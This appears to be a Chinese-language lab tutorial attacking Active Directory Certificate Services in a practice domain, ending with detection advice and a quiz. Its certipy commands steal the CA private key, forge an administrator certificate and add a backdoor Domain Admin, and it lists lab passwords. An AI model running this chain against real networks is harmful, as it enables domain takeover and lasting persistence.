經過前11天的攻防演練，我們已經掌握多種AD攻擊技術。今天要探討一個經常被忽視但極度危險的攻擊面：Active Directory Certificate Services (ADCS)。憑證服務的錯誤設定可能讓攻擊者直接獲得域管理員權限，而且這種攻擊往往更難被偵測。
在完成今天的實作後，將能夠：
# 安裝 Certipy (ADCS 攻擊工具)
pip3 install certipy-ad
# 下載 Certify (Windows 工具)
wget https://github.com/GhostPack/Certify/releases/download/v1.0.0/Certify.exe
# 安裝 PKINITtools
git clone https://github.com/dirkjanm/PKINITtools
cd PKINITtools
pip3 install -r requirements.txt
# 安裝/更新 impacket (確保有最新的 ntlmrelayx 功能)
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
python3 -m pip install .
主要我在測試 ADCS 相關攻擊的時候一直出現錯誤
可能有兩個狀況，以下為我的解決方法與步驟
Active Directory 環境中時間同步至關重要，時間差異超過 5 分鐘會導致 Kerberos 認證失敗。
# 從 Windows 主機 SSH 到 Kali
ssh kali@192.168.139.136
# 連接到 kingslanding
evil-winrm -i kingslanding.sevenkingdoms.local -u Administrator -p '8dCT-DJjgScp'
# 設定 NTP 時間伺服器
w32tm /config /manualpeerlist:"time.stdtime.gov.tw,0x9 tock.stdtime.gov.tw,0x9 clock.stdtime.gov.tw,0x9" /syncfromflags:manual /reliable:yes /update
# 查詢同步狀態
w32tm /query /status
# 重啟 Windows Time 服務
net stop w32time
net start w32time
# 強制重新同步
w32tm /resync /rediscover
# 退出
exit
# 連接到 meereen
evil-winrm -i meereen.essos.local -u Administrator -p 'Ufe-bVXSx9rk'
# 設定 NTP 時間伺服器
w32tm /config /manualpeerlist:"time.stdtime.gov.tw,0x9 tock.stdtime.gov.tw,0x9 clock.stdtime.gov.tw,0x9" /syncfromflags:manual /reliable:yes /update
# 檢查初始狀態
w32tm /query /status
# 重啟 Windows Time 服務
net stop w32time
net start w32time
# 強制重新同步
w32tm /resync /rediscover
# 驗證 DNS 解析
nslookup time.stdtime.gov.tw
# 強制同步
w32tm /resync /force
# 再次檢查狀態
w32tm /query /status
# 退出
exit
# 連接到 braavos (AD CS 伺服器)
evil-winrm -i braavos.essos.local -u 'essos\daenerys.targaryen' -p 'BurnThemAll!'
# 或使用 IP 位址
evil-winrm -i 192.168.139.23 -u 'essos\daenerys.targaryen' -p 'BurnThemAll!'
# 設定 NTP 時間伺服器
w32tm /config /manualpeerlist:"time.stdtime.gov.tw,0x9 tock.stdtime.gov.tw,0x9 clock.stdtime.gov.tw,0x9" /syncfromflags:manual /reliable:yes /update
# 檢查初始狀態
w32tm /query /status
# 重啟 Windows Time 服務
net stop w32time
net start w32time
# 強制重新同步
w32tm /resync /rediscover
# 驗證 DNS 解析
nslookup time.stdtime.gov.tw
# 強制同步
w32tm /resync /force
# 再次檢查狀態
w32tm /query /status
# 繼續接續
當 AD CS 無法正常發放憑證時，通常是因為 CRL (憑證吊銷列表) 檢查失敗。
解決步驟：
# 延續上面的繼續
# 連接到 braavos (AD CS 伺服器)
evil-winrm -i braavos.essos.local -u 'essos\daenerys.targaryen' -p 'BurnThemAll!'
# 或使用 IP 位址
evil-winrm -i 192.168.139.23 -u 'essos\daenerys.targaryen' -p 'BurnThemAll!'
# 檢查證書服務狀態
Get-Service CertSvc
# 修改 CRL 檢查設定 (允許離線狀態下忽略 CRL 檢查)
certutil -setreg ca\CRLFlags +CRLF_REVCHECK_IGNORE_OFFLINE
# 發布新的 CRL
certutil -CRL
# 重啟證書服務
Restart-Service CertSvc
# 驗證 CA 服務連接
certutil -ping
# 退出
exit
# 退出 Kali SSH
exit
完成這些步驟後，ADCS 相關的攻擊測試應該就能正常執行。
實務中 Windows 的時間伺服器設定建議使用域控制器而非外部 NTP
# 對於域成員機器，應該同步到 DC
w32tm /config /syncfromflags:domhier /update
Active Directory Certificate Services (ADCS) 是 Microsoft 的企業級公開金鑰基礎建設 (PKI) 解決方案。它讓組織能夠：
想像一下，如果密碼是你家的鑰匙，那憑證就像是智慧門鎖的指紋認證 - 更安全、更難偽造。
現實商業需求：
├── 安全的電子郵件 (S/MIME)
├── 網站 SSL/TLS 憑證
├── VPN 和 WiFi 認證 (802.1x)
├── 智慧卡登入
├── 程式碼簽章
├── 文件加密 (EFS)
└── 無密碼認證
| 用途 | 說明 | 憑證範本類型 |
|---|---|---|
| 使用者認證 | 員工使用智慧卡或憑證登入，取代記憶複雜密碼 | User, Smartcard Logon |
| 電子郵件安全 | 加密敏感郵件，數位簽章證明身分 | Email Protection |
| Web 伺服器 | 內部網站 HTTPS，不需購買外部憑證 | Web Server |
| VPN 存取 | 憑證式 VPN 認證，比共享密碼更安全 | Computer, User |
| WiFi 認證 | 企業 WiFi 使用 EAP-TLS | Computer, User |
| 程式碼簽章 | 內部開發的軟體簽章，證明來源可信 | Code Signing |
| 檔案加密 | EFS 加密敏感檔案 | EFS |
| 域控制器 | DC 之間的安全通訊 | Domain Controller |
案例1 - 金融業:
需求: 交易員必須使用智慧卡才能登入交易系統
實作:
- 部署 Smartcard Logon 憑證範本
- 每張智慧卡包含個人憑證
- 無法複製，遺失可立即註銷
案例2 - 醫療業:
需求: 醫生簽署電子病歷需要數位簽章
實作:
- Email Protection 範本
- 確保病歷完整性和不可否認性
案例3 - 製造業:
需求: 工廠設備需要憑證認證才能連接網路
實作:
- Computer 憑證範本
- 防止未授權設備接入
ADCS 架構
├── Certificate Authority (CA) - 憑證授權中心
│ ├── Root CA (根憑證)：信任鏈最頂層，通常離線保護
│ ├── Enterprise CA (企業CA)：與 AD 整合，自動化管理
│ └── Standalone CA (獨立CA)：分層管理，分散風險
├── Certificate Templates (憑證範本)
│ ├── User Templates
│ ├── Computer Templates
│ ├── Web Server Templates
│ └── Custom Templates
├── Certificate Enrollment - 憑證註冊
│ ├── Web Enrollment (HTTP/HTTPS)：透過網頁申請
│ ├── Auto-Enrollment (GPO)：GPO 自動發證
│ ├── MMC Enrollment：手動申請
│ └── Command Line (certreq)：手動申請
└── Certificate Store - 憑證儲存
├── Personal Store：個人憑證
├── Trusted Root：信任的根憑證
└── Enterprise Trust：企業信任鏈
Root CA (根憑證授權中心)
├── 信任鏈的最頂層
├── 自簽名憑證
├── 通常離線保護
└── 簽發 Subordinate CA 憑證
Enterprise CA (企業 CA)
├── 與 AD 整合
├── 使用憑證範本
├── 支援自動註冊
└── 需要 Domain Admin 安裝
Standalone CA (獨立 CA)
├── 不需要 AD
├── 手動核准請求
├── 用於 DMZ 或隔離網路
└── 不支援範本
憑證範本定義憑證的：
# 預設範本範例
User # 一般使用者憑證
Computer # 電腦憑證
Web Server # IIS 網站憑證
Domain Controller # DC 憑證
Administrator # 管理員 EFS 憑證
Subordinate CA # 次級 CA 憑證
Code Signing # 程式碼簽章
傳統密碼認證 vs 憑證認證：
密碼認證 (傳統 Kerberos)：
User → Password → NTLM Hash → AS-REQ → KDC → TGT
憑證認證 (PKINIT)：
User → Certificate + Private Key → Digital Signature → AS-REQ → KDC → TGT
↑
使用私鑰簽署請求
KDC 用公鑰驗證
從攻擊者角度看，ADCS 有幾個致命吸引力：
| 特性 | 說明 | 攻擊價值 |
|---|---|---|
| 長期有效 | 憑證通常 1-3 年有效期 | 持久後門，不受密碼輪換影響 |
| 難以偵測 | 看起來像合法的憑證認證 | 繞過大部分監控系統 |
| 難以註銷 | 管理員常不知如何正確註銷 | 即使被發現也難以清除 |
| 權限繼承 | 憑證繼承原始帳號權限 | 可獲得高權限存取 |
| 跨域使用 | 憑證可跨信任域使用 | 橫向移動的利器 |
主要確認目標是否開啟 ADCS 服務
識別環境中潛在的 ADCS 服務和 Web 服務
# 掃描常見的 Web 和 ADCS 相關端口
nmap -p 80,443,135,445 192.168.139.10-12,22-23 --open
--open：只顯示開放的端口，減少雜訊192.168.139.10 (KINGSLANDING) - 80/tcp open ← 可能的 ADCS Web
192.168.139.22 (CASTELBLACK) - 80/tcp open ← IIS 服務
192.168.139.23 (BRAAVOS) - 80/tcp open ← 另一個 Web 服務
關鍵發現：
確認 HTTP 服務是否為 ADCS Web Enrollment 介面
# 測試 ADCS 預設路徑（無認證）
curl -I http://192.168.139.10/certsrv/
curl -I http://192.168.139.22/certsrv/
curl -I http://192.168.139.23/certsrv/
-I 是只回傳 HTTP 回應標頭（response headers）/certsrv/ 是 ADCS Web Enrollment 的預設安裝路徑
192.168.139.10 → 401 Unauthorized ✅ (ADCS 可能存在)
192.168.139.22 → 404 Not Found ❌ (沒有 ADCS)
192.168.139.23 → 401 Unauthorized ✅ (ADCS 可能存在)
分析：
/certsrv/ 但需要認證使用域憑證確認 ADCS 服務確實存在並獲取 CA 資訊
# 嘗試不同的認證方式
# 方式 1: 基本認證（通常失敗）
curl -u 'SEVENKINGDOMS\samwell.tarly:Heartsbane' http://192.168.139.10/certsrv/
# 方式 2: NTLM 認證（IIS 預設）
curl --ntlm -u 'samwell.tarly:Heartsbane' http://192.168.139.10/certsrv/
--ntlm 告訴 curl 使用 NTLM 認證協定第一次嘗試（基本認證）→ 401 失敗
第二次嘗試（NTLM）→ 成功！
關鍵資訊：
重要發現：
現在已知 CA 名稱，進行精確的 LDAP 查詢
ldapsearch -x -H ldap://192.168.139.10 \
-D 'samwell.tarly@north.sevenkingdoms.local' -w 'Heartsbane' \
-b 'CN=SEVENKINGDOMS-CA,CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=sevenkingdoms,DC=local' \
'(objectClass=*)'
SEVENKINGDOMS-CA
sevenkingdoms.local
-b Base DN：精確定位到 CA 物件
CN=SEVENKINGDOMS-CA：CA 名稱CN=Enrollment Services：註冊服務容器CN=Public Key Services：PKI 服務容器CN=Configuration：森林級設定
CA 基本資訊:
- objectClass: pKIEnrollmentService
- cn: SEVENKINGDOMS-CA
- dNSHostName: kingslanding.sevenkingdoms.local
已啟用的憑證範本:
- DirectoryEmailReplication
- DomainControllerAuthentication
- KerberosAuthentication
- EFSRecovery
- EFS
- DomainController
- WebServer
- Machine
- User ← 重要！通用使用者範本
- SubCA ← 危險！次級 CA 範本
- Administrator ← 管理員範本
重要發現：
kingslanding.sevenkingdoms.local 上執行查詢所有憑證範本的關鍵屬性
ldapsearch -x -H ldap://192.168.139.10 \
-D 'samwell.tarly@north.sevenkingdoms.local' -w 'Heartsbane' \
-b 'CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=sevenkingdoms,DC=local' \
'(objectClass=pKICertificateTemplate)' cn msPKI-Enrollment-Flag
這個屬性控制憑證申請的行為，是識別弱點的關鍵：
Flag 值解析（位元標誌）:
0x01 (1): INCLUDE_SYMMETRIC_ALGORITHMS
0x02 (2): PEND_ALL_REQUESTS
0x04 (4): PUBLISH_TO_KRA_CONTAINER
0x08 (8): PUBLISH_TO_DS
0x10 (16): AUTO_ENROLLMENT_CHECK_USER_DS_CERTIFICATE
0x20 (32): AUTO_ENROLLMENT
0x40 (64): PREVIOUS_APPROVAL_VALIDATE_REENROLLMENT
0x100 (256): USER_INTERACTION_REQUIRED
0x200 (512): REMOVE_INVALID_CERTIFICATE_FROM_PERSONAL_STORE
0x400 (1024): ALLOW_ENROLL_ON_BEHALF_OF
0x800 (2048): ADD_OCSP_NOCHECK
0x1000 (4096): ENABLE_KEY_REUSE_ON_NT_TOKEN_KEYSET_STORAGE_FULL
0x2000 (8192): NOREVOCATIONINFOINISSUEDCERTS
0x4000 (16384): INCLUDE_BASIC_CONSTRAINTS_FOR_EE_CERTS
0x8000 (32768): ALLOW_PREVIOUS_APPROVAL_KEYBASEDRENEWAL_VALIDATE_REENROLLMENT
0x10000 (65536): ISSUANCE_POLICIES_FROM_REQUEST
0x20000 (131072): SKIP_AUTO_RENEWAL
| 範本名稱 | Flag 值 | 解析 | 風險等級 |
|---|---|---|---|
| User | 41 (0x29) | AUTO_ENROLLMENT + PUBLISH_TO_DS + INCLUDE_SYMMETRIC | 🟡 中 |
| Administrator | 41 (0x29) | 同上 | 🟡 中 |
| SubCA | 0 | 無自動註冊 | 🔴 高（如果可申請） |
| WebServer | 0 | 需要手動核准 | 🟢 低 |
| Machine | 32 (0x20) | AUTO_ENROLLMENT | 🟡 中 |
| EnrollmentAgent | 32 (0x20) | AUTO_ENROLLMENT | 🔴 高（ESC3） |
關鍵發現：
深入分析 User 範本的詳細設定，確認是否存在 ESC1 弱點
ldapsearch -x -H ldap://192.168.139.10 \
-D 'samwell.tarly@north.sevenkingdoms.local' -w 'Heartsbane' \
-b 'CN=User,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=sevenkingdoms,DC=local' \
'(objectClass=pKICertificateTemplate)' \
cn \
msPKI-Certificate-Name-Flag \
msPKI-Enrollment-Flag \
msPKI-RA-Signature \
msPKI-Extended-Key-Usage \
msPKI-Certificate-Application-Policy
| 屬性名稱 | 用途 | 安全影響 |
|---|---|---|
| msPKI-Certificate-Name-Flag | 控制憑證主體名稱來源 | 決定是否可指定 SAN (ESC1) |
| msPKI-Enrollment-Flag | 控制申請行為 | 是否自動核准、發布等 |
| msPKI-RA-Signature | 需要的簽章數量 | 0 = 無需核准（危險） |
| msPKI-Extended-Key-Usage | 憑證用途 (EKU) | Client Auth = 可用於認證 |
| msPKI-Certificate-Application-Policy | 應用策略 | 限制憑證使用範圍 |
查詢結果:
cn: User
msPKI-RA-Signature: 0 # ⚠️ 無需管理員核准
msPKI-Enrollment-Flag: 41 # 多個功能啟用
msPKI-Certificate-Name-Flag: -1509949440 # 需要解碼
msPKI-Extended-Key-Usage: (空) # 未返回，需進一步查詢
# -1509949440 轉換為無符號整數
>>> import struct
>>> struct.unpack('I', struct.pack('i', -1509949440))[0]
2785017856
>>> hex(2785017856)
'0xa6000000'
Flag 位元分析 (0xa6000000)：
0xa6000000 = 10100110 00000000 00000000 00000000
||||||||
|||||||└── Bit 0: 未設定
||||||└─── Bit 1: 未設定 (ENROLLEE_SUPPLIES_SUBJECT) ✅ 安全
|||||└──── ...其他位元...
||||└───── Bit 25 (0x02000000): 設定
|||└────── Bit 27 (0x08000000): 設定
||└─────── Bit 29 (0x20000000): 設定
|└──────── Bit 31 (0x80000000): 設定
重要：Bit 1 (ENROLLEE_SUPPLIES_SUBJECT) 未設定 = 不能指定 SAN = 沒有 ESC1 弱點
確認憑證的實際用途和潛在風險
ldapsearch -x -H ldap://192.168.139.10 \
-D 'samwell.tarly@north.sevenkingdoms.local' -w 'Heartsbane' \
-b 'CN=User,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=sevenkingdoms,DC=local' \
'(objectClass=pKICertificateTemplate)' \
pKIExtendedKeyUsage \
msPKI-Certificate-Application-Policy \
nTSecurityDescriptor
pKIExtendedKeyUsage:
- 1.3.6.1.4.1.311.10.3.4
- 1.3.6.1.5.5.7.3.4
- 1.3.6.1.5.5.7.3.2
| OID | 名稱 | 用途 | 風險等級 |
|---|---|---|---|
| 1.3.6.1.4.1.311.10.3.4 | Encrypting File System | EFS 檔案加密 | 🟢 低 |
| 1.3.6.1.5.5.7.3.4 | Secure Email | S/MIME 郵件加密 | 🟢 低 |
| 1.3.6.1.5.5.7.3.2 | Client Authentication | 域認證 | 🔴 高 |
User 範本包含 Client Authentication (1.3.6.1.5.5.7.3.2)
結合前面的發現：
| 檢查項目 | 結果 | 風險 |
|---|---|---|
| Client Authentication EKU | ✅ 存在 | 🔴 可用於認證 |
| ENROLLEE_SUPPLIES_SUBJECT | ❌ 未啟用 | 🟢 無法指定 SAN |
| 需要管理員核准 | ❌ 不需要 | 🟡 自動發證 |
| nTSecurityDescriptor | 未顯示 | ❓ 需要解碼 |
User 範本設定:
優點（安全）:
- 不能指定 SAN（無 ESC1）
- 標準的 EKU 設定
缺點（風險）:
- 包含 Client Authentication（可認證）
- 無需管理員核准
- 自動註冊啟用
結論:
- 不是典型的 ESC1 弱點
- 但如果 Domain Users 可申請，仍有風險
# 查詢誰可以申請 User 範本
ldapsearch -x -H ldap://192.168.139.10 \
-D 'samwell.tarly@north.sevenkingdoms.local' -w 'Heartsbane' \
-b 'CN=User,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=sevenkingdoms,DC=local' \
-s base nTSecurityDescriptor | grep -A 50 nTSecurityDescriptor
# 完整枚舉所有 ADCS 弱點
certipy find -u khal.drogo@essos.local -p horse \
-dc-ip 192.168.139.12 -vulnerable -stdout
Certipy 掃描結果摘要：
💡 注意：雖然環境中存在多個 ESC 漏洞，本文將專注於 CA 權限濫用攻擊。
其他 ESC 漏洞的詳細利用將在後續文章中介紹。
為什麼選擇 CA 備份攻擊而非 ESC1？
注意：此攻擊利用 CA 伺服器的本機管理員權限，
技術上不屬於標準 ESC7，但效果相同。
ESC7 標準定義：
- 使用者對 CA 具有 ManageCA 或 ManageCertificates 權限
- 可通過這些權限修改 CA 設定或管理憑證
實際攻擊向量（超出 ESC7 定義）：
1. 本機管理員權限 → CA 伺服器的 Local Admin
2. 服務層級權限 → RPC/DCOM 存取控制設定錯誤
3. 備份權限委派 → Backup Operators 或類似權限
# 檢查使用者權限狀態
crackmapexec smb 192.168.139.23 -u khal.drogo -p horse
# 輸出：[+] essos.local\khal.drogo:horse (Pwn3d!)
關鍵發現：
certipy -debug ca -backup -u khal.drogo@essos.local -p horse \
-dc-ip 192.168.139.12 -ca 'ESSOS-CA' -target 192.168.139.23
深入分析：
攻擊成功的真實原因：
- khal.drogo 是 CA 伺服器 (BRAAVOS) 的本機管理員
- 本機管理員預設可以：
1. 存取 CA 的私鑰儲存
2. 呼叫備份 API
3. 讀取憑證資料庫
安全問題：
- Certipy 未檢測到此攻擊路徑（因為只檢查域級別 ACL）
- 本機管理員 = 實質的 CA 控制權
- 違反權限最小化原則
關鍵輸出:
- "Got certificate and private key" ← 成功獲得 CA 私鑰
- 儲存為: ESSOS-CA.pfx
- 包含: CA 憑證 + 私鑰（可簽發任意憑證）
certipy forge -ca-pfx 'ESSOS-CA.pfx' -upn administrator@essos.local
攻擊分析：
使用竊取的 CA 私鑰簽發:
目標身分: administrator@essos.local
憑證類型: Golden Certificate
有效期: 通常 10 年（CA 預設）
產出: administrator_forged.pfx
特性:
- 完全合法（由真實 CA 簽發）
- 無法區分真假（簽章有效）
- 長期有效（即使密碼更改）
- 繞過多因素認證（基於憑證）
certipy auth -pfx administrator_forged.pfx -dc-ip 192.168.139.12 -ldap-shell
攻擊結果：
認證成功: "Authenticated as: u:ESSOS\Administrator"
獲得權限: Domain Admin
連接方式: LDAPS (Port 636)
Shell 類型: LDAP Shell（可執行 LDAP 操作）
認證機制：
- 使用 PKINIT 協定進行 Kerberos 認證
- DC 驗證憑證簽章（完全有效）
- 獲得完整的域管理員權限
# LDAP Shell 中執行
add_user newdomainadmin
add_user_to_group newdomainadmin "Domain admins"
持久化分析：
新建帳號: newdomainadmin
隨機密碼: #_x,L@YszOiJ^j9
加入群組: Domain Admins
結果: 永久後門建立成功
使用新建的後門帳號登入：
evil-winrm -i 192.168.139.12 -u hackadmin -p '#_x,L@YszOiJ^j9'
確認權限：
whoami /groups
確認成功：
Domain Admins 群組權限層級對比：
| 權限類型 | 檢測狀態 | 實際能力 |
|---|---|---|
| Domain ManageCA ACL | ❌ 無此權限 | Certipy 未報告 ESC7 |
| Local Admin on CA | ✅ 有此權限 | 可備份 CA |
| 工具檢測結果 | ❌ 未發現漏洞 | 存在檢測盲點 |
關鍵教訓：
# 1. 審查 CA 權限
# 檢查誰有 Manage CA 權限
certutil -config "CA-SERVER\CA-NAME" -getreg policy\EditFlags
# 2. 限制 CA 管理權限
# 只允許 Enterprise Admins 管理 CA
# 移除不必要的權限委派
# 3. 啟用 CA 審計
auditpol /set /subcategory:"Certification Services" /success:enable /failure:enable
# 4. 定期檢查憑證範本權限
Get-ADObject -Filter {objectClass -eq "pKICertificateTemplate"} -Properties * |
Select Name, msPKI-Enrollment-Flag, msPKI-RA-Signature
監控以下事件：
| Event ID | 描述 | 重要性 |
|---|---|---|
| 4876 | CA 資料庫備份 | 🔴 極高 |
| 4882 | 憑證範本權限變更 | 🔴 高 |
| 4886 | 憑證請求 | 🟡 中 |
| 4887 | 憑證核准並發放 | 🟡 中 |
如果懷疑 CA 被入侵：
# 1. 立即停止 CA 服務
Stop-Service CertSvc
# 2. 註銷可疑憑證
certutil -revoke <SerialNumber> 1
# 3. 發布新的 CRL
certutil -CRL
# 4. 審查所有近期發放的憑證
certutil -view -restrict "NotBefore>=$(Get-Date).AddDays(-7)"
# 5. 更換 CA 憑證（最後手段）
# 檢查並移除不當的 CA 權限
$CA = Get-ADObject -Filter {objectClass -eq "pKIEnrollmentService"}
$acl = Get-Acl "AD:$($CA.DistinguishedName)"
# 檢視所有具有 ManageCA 權限的使用者
$acl.Access | Where-Object {$_.ActiveDirectoryRights -match "ManageCA"}
# 限制本機管理員群組成員
# 在 CA 伺服器上執行
net localgroup administrators
# 移除不必要的使用者
net localgroup administrators "DOMAIN\username" /delete
常見作法：
A) Certificate Authority (CA)
B) Certificate Store
C) Certificate Templates
D) Certificate Enrollment
答案：C
解析：
Certificate Templates（憑證範本）是 ADCS 中定義憑證屬性的核心組件。它控制：
CA 只是簽發憑證的授權機構，Certificate Store 是儲存位置，Certificate Enrollment 是申請機制。
certipy ca -backup 指令的目的是什麼？A) 備份所有使用者憑證
B) 竊取 CA 的私鑰
C) 刪除舊的憑證
D) 建立新的憑證範本
答案：B
解析：
ESC7 攻擊的核心是利用錯誤的 CA 權限設定，讓普通使用者能夠備份 CA。certipy ca -backup 指令會：
一旦攻擊者擁有 CA 私鑰，就能簽發任意憑證（Golden Certificate），包括偽造域管理員憑證。
需要澄清的是，本實作中使用的是 CA 伺服器的本機管理員權限，
而非標準 ESC7（ManageCA ACL）。兩者都能達到相同效果（備份 CA），
但攻擊路徑不同：
A) msPKI-Enrollment-Flag = 32
B) msPKI-RA-Signature = 0
C) msPKI-Certificate-Name-Flag = 1
D) msPKI-Extended-Key-Usage = Client Authentication
答案：B
解析：msPKI-RA-Signature 屬性控制憑證申請需要多少個簽章（核准）：
其他選項的含義：
A) Golden Certificate 的加密強度更高
B) Golden Certificate 不受密碼更改和 krbtgt 重置影響
C) Golden Certificate 可以跨森林使用
D) Golden Certificate 的檔案大小更小
答案：B
解析：
Golden Certificate 的持久性優勢：
Golden Ticket 的限制：
Golden Certificate 的優勢：
A) Event ID 4886 - 憑證請求
B) Event ID 4876 - CA 資料庫備份
C) Event ID 4887 - 憑證核准並發放
D) Event ID 4768 - Kerberos TGT 請求
答案：B
解析：
Event ID 4876 是專門記錄 CA 資料庫備份操作的事件，這是偵測 ESC7 攻擊的關鍵指標：
為什麼這個事件重要：
其他事件的用途：
監控建議：
設定 SIEM 規則，當 Event ID 4876 出現時立即發出最高級別警報。
iThome鐵人賽
看影片追技術